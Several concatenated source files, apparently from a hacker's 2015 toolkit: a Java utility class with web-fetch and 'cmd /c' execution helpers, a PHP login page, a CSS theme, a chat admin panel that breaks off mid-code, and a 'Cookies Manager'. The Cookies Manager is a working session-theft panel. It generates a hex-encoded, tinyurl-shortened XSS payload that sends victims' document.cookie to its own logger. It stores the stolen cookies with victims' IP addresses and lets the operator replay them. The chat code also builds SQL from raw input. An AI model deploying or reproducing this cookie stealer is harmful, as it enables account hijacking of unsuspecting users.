// Class : DH Tools
// Version : 0.2
// (C) Doddy Hackman 2015
// Functions : 
//
//public String toma(String link) 
//public String tomar(String pagina, String data) 
//public void savefile(String ruta, String texto) 
//public String read_file(String ruta) 
//public String console(String command) 
//public String httpfinger(String target) 
//public Integer response_code(String page) 
//public ArrayList repes(ArrayList array) 
//public ArrayList cortar(ArrayList array) 
//public String regex(String code, String deaca, String hastaaca) 
//public Boolean download(String url, File savefile) 
//public String extract_file_by_url(String url) 
//public String uri_split(String link, String opcion) 
//public String md5_encode(String text) 
//public String md5_file(String file) 
//public String get_ip(String hostname) 
//
package dhtools;

import java.io.*;
import java.net.*;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.security.*;

public class DH_Tools {

    public String toma(String link) {
        String re;
        StringBuffer conte = new StringBuffer(40);
        try {
            URL url = new URL(link);
            URLConnection nave = url.openConnection();
            nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
            BufferedReader leyendo = new BufferedReader(
                    new InputStreamReader(nave.getInputStream()));
            while ((re = leyendo.readLine()) != null) {
                conte.append(re);
            }
            leyendo.close();
        } catch (Exception e) {
            //
        }
        return conte.toString();
    }

    public String tomar(String pagina, String data) {
        // Credits : Function based in http://www.mkyong.com/java/how-to-send-http-request-getpost-in-java/
        String respuesta = "";

        try {
            URL url_now = new URL(pagina);
            HttpURLConnection nave = (HttpURLConnection) url_now.openConnection();

            nave.setRequestMethod("POST");
            nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");

            nave.setDoOutput(true);
            DataOutputStream send = new DataOutputStream(nave.getOutputStream());
            send.writeBytes(data);
            send.flush();
            send.close();

            BufferedReader leyendo = new BufferedReader(new InputStreamReader(nave.getInputStream()));
            StringBuffer code = new StringBuffer();
            String linea;

            while ((linea = leyendo.readLine()) != null) {
                code.append(linea);
            }
            leyendo.close();
            respuesta = code.toString();
        } catch (Exception e) {
            //
        }
        return respuesta;
    }

    public void savefile(String ruta, String texto) {

        FileWriter escribir = null;
        File archivo = null;

        try {

            archivo = new File(ruta);

            if (!archivo.exists()) {
                archivo.createNewFile();
            }

            escribir = new FileWriter(archivo, true);
            escribir.write(texto);
            escribir.flush();
            escribir.close();

        } catch (Exception e) {
            //
        }
    }

    public String read_file(String ruta) {
        String contenido = null;
        try {
            Scanner leyendo = new Scanner(new FileReader(ruta));
            contenido = leyendo.next();
        } catch (Exception e) {
            //
        }
        return contenido;
    }

    public String console(String command) {
        String contenido = null;
        try {
            Process proceso = Runtime.getRuntime().exec("cmd /c " + command);
            proceso.waitFor();
            BufferedReader leyendo = new BufferedReader(
                    new InputStreamReader(proceso.getInputStream()));
            String linea;
            StringBuffer code = new StringBuffer();
            while ((linea = leyendo.readLine()) != null) {
                code.append(linea);
            }
            contenido = code.toString();
        } catch (Exception e) {
            //
        }
        return contenido;
    }

    public String httpfinger(String target) {

        String resultado = "";

        //http://www.mkyong.com/java/how-to-get-http-response-header-in-java/
        try {

            URL page = new URL(target);
            URLConnection nave = page.openConnection();

            String server = nave.getHeaderField("Server");
            String etag = nave.getHeaderField("ETag");
            String content_length = nave.getHeaderField("Content-Length");
            String expires = nave.getHeaderField("Expires");
            String last_modified = nave.getHeaderField("Last-Modified");
            String connection = nave.getHeaderField("Connection");
            String powered = nave.getHeaderField("X-Powered-By");
            String pragma = nave.getHeaderField("Pragma");
            String cache_control = nave.getHeaderField("Cache-Control");
            String date = nave.getHeaderField("Date");
            String vary = nave.getHeaderField("Vary");
            String content_type = nave.getHeaderField("Content-Type");
            String accept_ranges = nave.getHeaderField("Accept-Ranges");

            if (server != null) {
                resultado += "[+] Server : " + server + "\n";
            }
            if (etag != null) {
                resultado += "[+] E-tag : " + etag + "\n";
            }
            if (content_length != null) {
                resultado += "[+] Content-Length : " + content_length + "\n";
            }

            if (expires != null) {
                resultado += "[+] Expires : " + expires + "\n";
            }

            if (last_modified != null) {
                resultado += "[+] Last Modified : " + last_modified + "\n";
            }

            if (connection != null) {
                resultado += "[+] Connection : " + connection + "\n";
            }

            if (powered != null) {
                resultado += "[+] Powered : " + powered + "\n";
            }

            if (pragma != null) {
                resultado += "[+] Pragma : " + pragma + "\n";
            }

            if (cache_control != null) {
                resultado += "[+] Cache control : " + cache_control + "\n";
            }

            if (date != null) {
                resultado += "[+] Date : " + date + "\n";
            }
            if (vary != null) {
                resultado += "[+] Vary : " + vary + "\n";
            }
            if (content_type != null) {
                resultado += "[+] Content-Type : " + content_type + "\n";
            }
            if (accept_ranges != null) {
                resultado += "[+] Accept Ranges : " + accept_ranges + "\n";
            }

        } catch (Exception e) {
            //
        }

        return resultado;

    }

    public Integer response_code(String page) {
        Integer response = 0;
        try {
            URL url = new URL(page);
            URLConnection nave1 = url.openConnection();
            HttpURLConnection nave2 = (HttpURLConnection) nave1;
            nave2.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
            response = nave2.getResponseCode();
        } catch (Exception e) {
            response = 404;
        }
        return response;
    }

    public ArrayList repes(ArrayList array) {
        Object[] listando = array.toArray();
        for (Object item : listando) {
            if (array.indexOf(item) != array.lastIndexOf(item)) {
                array.remove(array.lastIndexOf(item));
            }
        }
        return array;
    }

    public ArrayList cortar(ArrayList array) {
        ArrayList array2 = new ArrayList();
        for (int i = 0; i < array.size(); i++) {
            String code = (String) array.get(i);
            Pattern regex1 = null;
            Matcher regex2 = null;
            regex1 = Pattern.compile("(.*?)=(.*?)");
            regex2 = regex1.matcher(code);
            if (regex2.find()) {
                array2.add(regex2.group(1) + "=");
            }
        }
        return array2;
    }

    public String regex(String code, String deaca, String hastaaca) {
        String resultado = "";
        Pattern regex1 = null;
        Matcher regex2 = null;
        regex1 = Pattern.compile(deaca + "(.*?)" + hastaaca);
        regex2 = regex1.matcher(code);
        if (regex2.find()) {
            resultado = regex2.group(1);
        }
        return resultado;
    }

    public Boolean download(String url, File savefile) {
        // Credits : Based on http://stackoverflow.com/questions/921262/how-to-download-and-save-a-file-from-internet-using-java
        // Thanks to Brian Risk
        try {
            URL download_page = new URL(url);
            ReadableByteChannel down1 = Channels.newChannel(download_page.openStream());
            FileOutputStream down2 = new FileOutputStream(savefile);
            down2.getChannel().transferFrom(down1, 0, Long.MAX_VALUE);
            down1.close();
            down2.close();
            return true;
        } catch (IOException e) {
            return false;
        }
    }

    public String extract_file_by_url(String url) {
        return url.substring(url.lastIndexOf('/') + 1);
    }

    public String uri_split(String link, String opcion) {
        String resultado = "";
        try {
            URL url = new URL(link);
            if (opcion == "protocol") {
                resultado = url.getProtocol();
            } else if (opcion == "authority") {
                resultado = url.getAuthority();
            } else if (opcion == "host") {
                resultado = url.getHost();
            } else if (opcion == "port") {
                resultado = String.valueOf(url.getPort());
            } else if (opcion == "path") {
                resultado = url.getPath();
            } else if (opcion == "query") {
                resultado = url.getQuery();
            } else if (opcion == "filename") {
                resultado = url.getFile();
            } else if (opcion == "ref") {
                resultado = url.getRef();
            } else {
                resultado = "Error";
            }

        } catch (Exception e) {
            // 
        }
        return resultado;
    }

    public String md5_encode(String text) {
        // Credits : Based on http://www.avajava.com/tutorials/lessons/how-do-i-generate-an-md5-digest-for-a-string.html
        StringBuffer string_now = null;
        try {
            MessageDigest generate = MessageDigest.getInstance("MD5");
            generate.update(text.getBytes());
            byte[] result = generate.digest();
            string_now = new StringBuffer();
            for (byte line : result) {
                string_now.append(String.format("%02x", line & 0xff));
            }
        } catch (Exception e) {
            //
        }
        return string_now.toString();
    }

    public String md5_file(String file) {
        //Credits : Based on http://stackoverflow.com/questions/304268/getting-a-files-md5-checksum-in-java
        // Thanks to 
        String resultado = "";
        try {
            MessageDigest convert = MessageDigest.getInstance("MD5");
            FileInputStream file_now = new FileInputStream(file);

            byte[] bytes_now = new byte[1024];

            int now_now = 0;
            while ((now_now = file_now.read(bytes_now)) != -1) {
                convert.update(bytes_now, 0, now_now);
            };
            byte[] converting = convert.digest();
            StringBuffer result = new StringBuffer();
            for (int i = 0; i < converting.length; i++) {
                result.append(Integer.toString((converting[i] & 0xff) + 0x100, 16).substring(1));
            }
            resultado = result.toString();
        } catch (Exception e) {
            //
        }
        return resultado;
    }

    public String get_ip(String hostname) {
        String resultado = "";
        try {
            InetAddress getting_ip = InetAddress.getByName(hostname);
            resultado = getting_ip.getHostAddress();
        } catch (Exception e) {
            //
        }
        return resultado;
    }
}

// The End ?

package dhtools;

import java.util.ArrayList;
import java.util.Collections;

public class Main {

    public static void main(String[] args) {
        DH_Tools tools = new DH_Tools();
        //String codigo = tools.toma("http://localhost/");
        //String codigo = tools.tomar("http://localhost/login.php", "usuario=test&password=dsdsads&control=Login");
        //tools.savefile("c:/xampp/texto.txt","texto");
        //String codigo = tools.read_file("c:/xampp/texto.txt");
        //String codigo = tools.console("ver");
        //String codigo = tools.httpfinger("http://www.petardas.com");
        /*
         ArrayList array = new ArrayList();
         Collections.addAll(array, "http://localhost/sql.php?id=dsaadsds", "b", "http://localhost/sql.php?id=dsaadsds", "c");
         ArrayList array2 = tools.repes(tools.cortar(array));
         for (int i = 0; i < array2.size(); i++) {
         System.out.println(array2.get(i));
         }
         */
        //System.out.println(tools.regex("1sadasdsa2","1","2"));
        //System.out.println(tools.response_code("http://www.petardas.com/"));
        /*
         File savefile = new File("c:/xampp/mierda.avi");
         if(tools.download("http://localhost/test.avi",savefile)) {
         System.out.println("yeah");
         }
         */

        //System.out.println(tools.extract_file_by_url("http://localhost/dsaads/dsadsads/index.php"));
        //System.out.println(tools.uri_split("http://localhost/index.php?id=dadsdsa","query"));
        //System.out.println(tools.md5_encode("123"));
        //System.out.println(tools.md5_file("c:\\xampp\\texto.txt"));
        //System.out.println(tools.get_ip("www.petardas.com"));
    }

}

<?php

// Cookies Manager 0.6
// (C) Doddy Hackman 2015

// Login

$username = "admin"; // Edit
$password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

//

$index = "imagen.php"; // Edit

if (isset($_GET['poraca'])) {
    
    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>Login</title>
      <link rel="shortcut icon" href="images/icono.png">
      <link href="style.css" rel="stylesheet" type="text/css" />
   </head>
   <body>
      <center><br>
         <div class="post">
            <h3>Login</h3>
            <div class="post_body">
               <img src="images/login.jpg" width="562" height="440" />
               <br />
               <form action="" method=POST>
                  Username : <input type=text size=30 name=username /><br /><br />
                  Password : <input type=password size=30 name=password /><br /><br />
                  <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
               </form>
            </div>
         </div>
      </center>
   </body>
</html>';
    
    if (isset($_POST['login'])) {
        
        $test_username = $_POST['username'];
        $test_password = md5($_POST['password']);
        
        if ($test_username == $username && $test_password == $password) {
            setcookie("login", base64_encode($test_username . "@" . $test_password));
            echo "<script>alert('Welcome idiot');</script>";
            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
        } else {
            echo "<script>alert('Fuck You');</script>";
        }
    }
    
} else {
    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
}

// The End ?

?>

<?php

// Cookies Manager 0.6
// (C) Doddy Hackman 2015

// Login

$username = "admin"; // Edit
$password = "21232f297a57a5a743894a0e4a801fc3"; // Edit 

// DB

$host  = "localhost"; // Edit
$userw = "root"; // Edit
$passw = ""; // Edit
$db    = "cookies"; // Edit

// Functions

function hex_encode($text)
{
    $texto = chunk_split(bin2hex($text), 2, '%');
    return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
}

function parsear_cookie($leyendo)
{
    
    $leyendo   = str_replace("comment=", "", $leyendo);
    $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
    $contenido = explode(";", $leyendo);
    
    $nombre       = "";
    $valor_cookie = "";
    $expires      = "";
    $path         = "";
    $domain       = "";
    $secure       = "false";
    $httponly     = "false";
    
    foreach ($contenido as $valor) {
        
        if (preg_match("/expires=(.*)/", $valor, $regex)) {
            $expires = $regex[1];
        }
        
        elseif (preg_match("/path=(.*)/", $valor, $regex)) {
            $path = $regex[1];
        } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
            $domain = $regex[1];
        } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
            $secure = $regex[1];
        } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
            $httponly = $regex[1];
        }
        
        else {
            
            if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
                $nombre       = $regex[1];
                $valor_cookie = $regex[2];
            }
            
        }
        
    }
    
    return array(
        $nombre,
        $valor_cookie,
        $expires,
        $path,
        $domain,
        $secure,
        $httponly
    );
    
}

function ver_cookies_de_pagina($pagina)
{
    $cookies = "";
    if (!function_exists('curl_exec')) {
        $options = array(
            'http' => array(
                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
            )
        );
        $context = stream_context_create($options);
        file_get_contents($pagina);
        foreach ($http_response_header as $valores) {
            if (preg_match("/Set-Cookie/", $valores)) {
                $valores = str_replace("Set-Cookie:", "", $valores);
                $cookies = $cookies . trim($valores) . "\n";
            }
        }
    } else {
        $nave = curl_init($pagina);
        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
        curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
        curl_setopt($nave, CURLOPT_HEADER, 1);
        curl_setopt($nave, CURLOPT_NOBODY, 1);
        $contenido = curl_exec($nave);
        curl_close($nave);
        $leyendo = explode("\n", trim($contenido));
        
        foreach ($leyendo as $valores) {
            if (preg_match("/Set-Cookie/", $valores)) {
                $valores = str_replace("Set-Cookie:", "", $valores);
                $cookies = $cookies . trim($valores) . "\n";
            }
        }
    }
    return $cookies;
}

function toma($target)
{
    $code = "";
    if (function_exists('curl_exec')) {
        $nave = curl_init($target);
        curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
        curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
        $code = curl_exec($nave);
    } else {
        $options = array(
            'http' => array(
                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
            )
        );
        $context = stream_context_create($options);
        $code    = file_get_contents($target);
    }
    return $code;
}

//

error_reporting(0);

mysql_connect($host, $userw, $passw);
mysql_select_db($db);

if (isset($_GET['id'])) {
    
    if (empty($_GET['id'])) {
        error();
    }
    
    $dia = mysql_real_escape_string(date("d.m.Y"));
    $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
    
    if ($ip == "::1") {
        $ip = "127.0.0.1";
    }
    
    $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
    $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
    
    $cookie = mysql_real_escape_string($_GET['id']);
    
    mysql_query("INSERT INTO cookies_found(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
    
    header("Location:http://www.google.com.ar");
    
}

elseif (isset($_COOKIE['login'])) {
    
    $st = base64_decode($_COOKIE['login']);
    
    $plit = explode("@", $st);
    $user = $plit[0];
    $pass = $plit[1];
    
    if ($user == $username and $pass == $password) {
        
        echo '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>Cookies Manager 0.6</title>
      <link href="style.css" rel="stylesheet" type="text/css" />
      <link rel="shortcut icon" href="images/icono.png">
   </head>
   <body>
   <center>';
        
        echo '<br><img src="images/cookies.png" /><br>';
        
        if (isset($_POST['makecookies'])) {
            
            if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
                echo "<script>alert('Cookie maked');</script>";
            } else {
                echo "<script>alert('Error making Cookie');</script>";
            }
        }
        
        $edit_name       = "";
        $edit_value      = "";
        $edit_expire     = "";
        $edit_path       = "";
        $edit_domain     = "";
        $edit_secure     = "";
        $edit_httponline = "";
        
        if (isset($_POST['instalar'])) {
            
            $cookies_found = "create table cookies_found (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
fecha TEXT NOT NULL,
ip TEXT NOT NULL,
info TEXT NOT NULL,
cookie TEXT NOT NULL,
PRIMARY KEY (id));
";
            
            if (mysql_query($cookies_found)) {
                echo "<script>alert('Installed');</script>";
            } else {
                echo "<script>alert('Error');</script>";
            }
        }
        
        if (mysql_num_rows(mysql_query("show tables like 'cookies_found'"))) {
            
            //
            
            if (isset($_GET['del'])) {
                if (is_numeric($_GET['del'])) {
                    if (@mysql_query("delete from cookies_found where id='" . $_GET['del'] . "'")) {
                        echo "<script>alert('Cookie deleted');</script>";
                    } else {
                        echo "<script>alert('Error');</script>";
                    }
                }
            }
            
            // Cookies Found
            
            
            $re  = mysql_query("select * from cookies_found order by id ASC");
            $con = mysql_num_rows($re);
            echo '
            <div class="post">
                <h3>Cookies Found : ' . $con . '</h3>
                   <div class="post_body"><br>';
            
            if ($con <= 0) {
                echo '<b>No cookies found</b><br>';
            } else {
                
                echo '<table>';
                echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
                
                while ($ver = mysql_fetch_array($re)) {
                    $cookies_view = $ver[4];
                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
                    
                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
                    echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
                    
                }
                echo "</table>";
                
            }
            
            echo '               <br></div>
            </div>';
            
            //
            
            // Form para target
            
            echo '
            <div class="post">
                <h3>Enter Target</h3>
                   <div class="post_body"><br>';
            
            echo "
<form action='' method=POST>
<b>Link : </b><input type=text size=40 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
<input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'> <input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
</form>
 
";
            
            echo '               <br></div>
            </div>';
            
            // URLS
            
            if (isset($_POST['generateurl'])) {
                
                echo '
            <div class="post">
                <h3>Console</h3>
                   <div class="post_body"><br>';
                
                echo "<textarea cols=50 name=code readonly>\n";
                $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
                //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
                $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
                echo htmlentities($resultado_code);
                echo "\n</textarea></table>";
                
                echo '               <br><br></div>
            </div>';
                
            }
            //
            
            // Get Cookies
            
            if (isset($_POST['getcookies'])) {
                
                echo '
            <div class="post">
                <h3>Console</h3>
                   <div class="post_body"><br>';
                
                echo "<textarea cols=50 rows=10 name=code readonly>\n";
                $resultado_code = ver_cookies_de_pagina($_POST['target']);
                echo htmlentities($resultado_code);
                echo "\n</textarea>";
                
                echo '               <br><br></div>
            </div>';
                
                $leyendo_esto = split("\n", $resultado_code);
                
                list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
                
                $edit_name       = $nombre;
                $edit_value      = $valor_cookie;
                $edit_expire     = $expires;
                $edit_path       = $path;
                $edit_domain     = $domain;
                $edit_secure     = $secure;
                $edit_httponline = $httponly;
                
            }
            
            //
            
            // Form para crear cookies
            
            
            echo '
            <div class="post">
                <h3>Cookie Maker</h3>
                   <div class="post_body"><br>';
            
            echo "
<form action='' method=POST>
<b>Name : </b><input type=text size=50 name=name_cookie value='$edit_name'><br><br>
<b>Value : </b><input type=text size=50 name=value_cookie value='$edit_value'><br><br>
<b>Expires : </b><input type=text size=50 name=expire_cookie value='$edit_expire'><br><br>
<b>Path : </b><input type=text size=50 name=path_cookie value='$edit_path'><br><br>
<b>Domain : </b><input type=text size=50 name=domain_cookie value='$edit_domain'><br><br>
<b>Secure : </b><input type=text size=50 name=secure_cookie value='$edit_secure'><br><br>
<b>HTTP Online : </b><input type=text size=50 name=httponline_cookie value='$edit_httponline'><br><br>
<input type=submit name=makecookies style='height: 25px; width: 200px' value='Make Cookie'>
</form>";
            
            echo '                <br></div>
            </div>';
            
        } else {
            
            echo '
            <div class="post">
                <h3>Installer</h3>
                   <div class="post_body">';
            echo "
<form action='' method=POST>
<h2>Do you want install Cookies Manager ?</h2><br>
<input type=submit name=instalar value=Install>
</form><br>";
            
            echo '                </div>
            </div>';
        }
        
        echo '  
        <br><h3>(C) Doddy Hackman 2015</h3><br>
        </center>
        </body>
</html>';
        
    } else {
        echo "<script>alert('Fuck You');</script>";
    }
} else {
    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
}

// The End ?

?>

/*

==-----------------------------------==
|| Name : DH Theme                   ||
|| Version : 0.8                     ||  
|| Author : Doddy H                  ||
|| Description: Templante            ||
|| Date : 14/1/2015                  ||
==-----------------------------------==

*/

body {
	background:transparent url("images/fondo.jpg") repeat scroll 0 0;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
	text-align:center;
}

a:link {
	text-decoration:none;
	color:orange;
}
a:visited {
	color:orange;
}
a:hover {
	color:orange;
}

td,tr {
	border-style:solid;
	border-color: gray;
	border-width: 1px;
	background: black;
	border: solid #222 2px;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
	text-align:center;
}

textarea {
	font: normal 10px Verdana, Arial, Helvetica,sans-serif;
	background-color:black;
	color:gray;
	border: solid #222 2px;
	border-color:gray
}

input {
	border-style:solid;
	border-color: gray;
	border-width: 1px;
	background: black;
	border: solid #222 2px;
	color:gray;
	font-family:helvetica,arial,sans-serif;
	font-size:14px;
}

.post {
	background-color:black;
	color:gray;
	margin-bottom:10px;
	width:600px;
	word-wrap: break-word;
}

.post h3 {
	background-color:black;
	color:orange;
	background-color:#000;
	border: solid #222 2px;
	-webkit-border-radius: 4px;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding:5px 10px;
}

.post_body {
	background-color:black;
	margin:-20px 0 0 0;
	color:white;
	background-color:#000;
	border: solid #222 2px;
	-webkit-border-radius: 4px;
	-moz-border-radius: 4px;
	border-radius: 4px;
	padding:5px 10px;
}

/* The End ? */

<?php

// DH Chat 0.5
// (C) Doddy Hackman 2015

// Login

$username = "admin"; // Edit
$password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

//

$index = "admin.php"; // Edit

if (isset($_GET['poraca'])) {
    
    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>Login</title>
      <link rel="shortcut icon" href="images/icono.png">
      <link href="style.css" rel="stylesheet" type="text/css" />
   </head>
   <body>
      <center><br>
         <div class="post">
            <h3>Login</h3>
            <div class="post_body">
               <img src="images/login.jpg" width="562" height="440" />
               <br />
               <form action="" method=POST>
                  Username : <input type=text size=30 name=username /><br /><br />
                  Password : <input type=password size=30 name=password /><br /><br />
                  <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
               </form>
            </div>
         </div>
      </center>
   </body>
</html>';
    
    if (isset($_POST['login'])) {
        
        $test_username = $_POST['username'];
        $test_password = md5($_POST['password']);
        
        if ($test_username == $username && $test_password == $password) {
            setcookie("login", base64_encode($test_username . "@" . $test_password));
            echo "<script>alert('Welcome idiot');</script>";
            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
        } else {
            echo "<script>alert('Fuck You');</script>";
        }
    }
    
} else {
    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
}

// The End ?

?>

<?php

// DH Chat 0.5
// (C) Doddy Hackman 2015

error_reporting(0);

// Login

$username = "admin"; // Edit
$password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

// DB

$host  = "localhost"; // Edit
$userw = "root"; // Edit
$passw = ""; // Edit
$db    = "chat"; // Edit

if (isset($_COOKIE['login'])) {
    
    $st = base64_decode($_COOKIE['login']);
    
    $plit = explode("@", $st);
    $user = $plit[0];
    $pass = $plit[1];
    
    if ($user == $username and $pass == $password) {
        
        echo '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>DH Chat 0.5</title>
      <link rel="shortcut icon" href="images/icono.png">
      <link href="style.css" rel="stylesheet" type="text/css" />
   </head>
   <body>
   <center>
   ';
        
        mysql_connect($host, $userw, $passw);
        mysql_select_db($db);
        
        echo '         <br><img src="images/chat.png" /><br>';
        
        if (isset($_POST['instalar'])) {
            
            $todo = "create table mensajes (
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";
            
            $todo2 = "create table insultos (
id_insulto int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
PRIMARY KEY (id_insulto));
";
            
            if (mysql_query($todo)) {
                if (mysql_query($todo2)) {
                    
                    $insultos = array(
                        "lammer",
                        "lamer",
                        "maricon",
                        "noob"
                    );
                    
                    foreach ($insultos as $con) {
                        @mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$con')");
                    }
                    
                    echo "<script>alert('Installed');</script>";
                    echo '<meta http-equiv="refresh" content=0;URL=>';
                }
            } else {
                echo "<script>alert('Error');</script>";
            }
        }
        
        if (mysql_num_rows(mysql_query("show tables like 'mensajes'"))) {
            
            //
            
            $re = mysql_query("select * from mensajes order by id_comentario ASC");
            
            if (isset($_GET['id'])) {
                if (is_numeric($_GET['id'])) {
                    if (@mysql_query("delete from mensajes where id_comentario='" . $_GET['id'] . "'")) {
                        echo "<script>alert('Comment deleted');</script>";
                    } else {
                        echo "<script>alert('Error');</script>";
                    }
                }
            }
            
            $sql       = "select id_comentario from mensajes";
            $resultado = mysql_query($sql);
            $cantidad  = mysql_num_rows($resultado);
            
            echo '
            <div class="post">
                <h3>Comments : ' . $cantidad . '</h3>
                   <div class="post_body"><br>';
            if ($cantidad <= 0) {
                echo '<b>No entries found</b><br>';
            } else {
                echo "<table>";
                echo "<td><b>ID</b></td><td><b>Nick</b></td><td><b>Text</b></td><td><b>Option</b></td><tr>";
                
                while ($ver = mysql_fetch_array($re)) {
                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[1]) . "</td><td><a href=?id=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
                }
                
                echo "</table>";
                
            }
            
            echo '                <br></div>
            </div>';
            
            if (isset($_POST['new_word'])) {
                $in = $_POST['word'];
                if (@mysql_query("INSERT INTO insultos(id_insulto,mensaje)values(NULL,'$in')")) {
                    echo "<script>alert('Word added');</script>";
                } else {
                    echo "<script>alert('Error');</script>";
                }
            }
            
            if (isset($_GET['del_word'])) {
                if (is_numeric($_GET['del_word'])) {
                    if (@mysql_query("delete from insultos where id_insulto='" . $_GET['del_word'] . "'")) {
                        echo "<script>alert('Word deleted');</script>";
                    } else {
                        echo "<script>alert('Error');</script>";
                    }
                }
            }
            
            echo '
         <div class="post">
            <h3>Block words</h3>
            <div class="post_body"><br>
            ';
            
            echo "
<form action='' method=POST>
<b>Word : </b><input type=text name=word>
<input type=submit name=new_word style='width: 100px;' value=Add>
</form>";
            
            echo '
            <br>
            </div>
         </div>
         ';
            
            
            $sql       = "select id_insulto from insultos";
            $resultado = mysql_query($sql);
            $cantidad  = mysql_num_rows($resultado);
            
            echo '
         <div class="post">
            <h3>Words blocked : ' . $cantidad . '</h3>
            <div class="post_body"><br>
            ';
            
            $rea = mysql_query("select * from insultos order by id_insulto ASC");
            
            if ($cantidad <= 0) {
                echo '<b>No entries found</b><br>';
            } else {
                echo "<table>";
                echo "<td>ID</td><td>Word</td><td>Option</td><tr>";
                while ($ver = mysql_fetch_array($rea)) {
